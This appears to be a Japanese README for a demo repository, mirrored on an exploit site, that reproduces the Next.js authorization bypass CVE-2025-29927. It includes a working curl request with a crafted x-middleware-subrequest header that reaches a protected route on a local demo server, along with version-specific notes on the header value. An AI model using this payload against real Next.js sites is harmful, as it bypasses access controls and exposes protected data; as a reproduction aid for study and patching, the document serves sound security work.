Exploit for CVE-2025-29927

## https://sploitus.com/exploit?id=C7A7AD89-914E-54F2-9DAE-8B3EAEDC308A
# cve-2025-29927-demo

Next.js における認可バイパスの脆弱性を再現するデモです。

当該脆弱性についての詳細は **[Next.jsの脆弱性CVE-2025-29927まとめ](https://zenn.dev/t3tra/articles/c293410c7daf63)** を参照してください。

## 脆弱性の再現方法

1. このリポジトリをクローンします。

```bash
git clone https://github.com/t3tra-dev/cve-2025-29927-demo.git
cd cve-2025-29927-demo
git pull origin main
```

2. サーバーを起動します。

```bash
npm install
npm run dev
```

3. `curl` 等を用いて `x-middleware-subrequest` ヘッダーを付与したリクエストを送信します。

```bash
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/protected
```

これにより認可バイパスが発生し、`/protected` ページにアクセスできるようになります。

`middleware` の値は Next.js が認識するミドルウェアの名前です。このデモアプリでは `middleware` という名前のミドルウェアが存在しているため、この値を指定することで認可バイパスが発生します。

> [!TIP]
> Next.js 15.x では `MAX_RECURSION_DEPTH` が 5 に設定されているため、middleware の値を 5 回以上 `:` で区切って繰り返す必要があります。古いバージョン (14.x) では単に「 middleware 」だけで十分でした。このデモアプリでは Next.js 15.2.2 が使用されているため、このような値が必要です。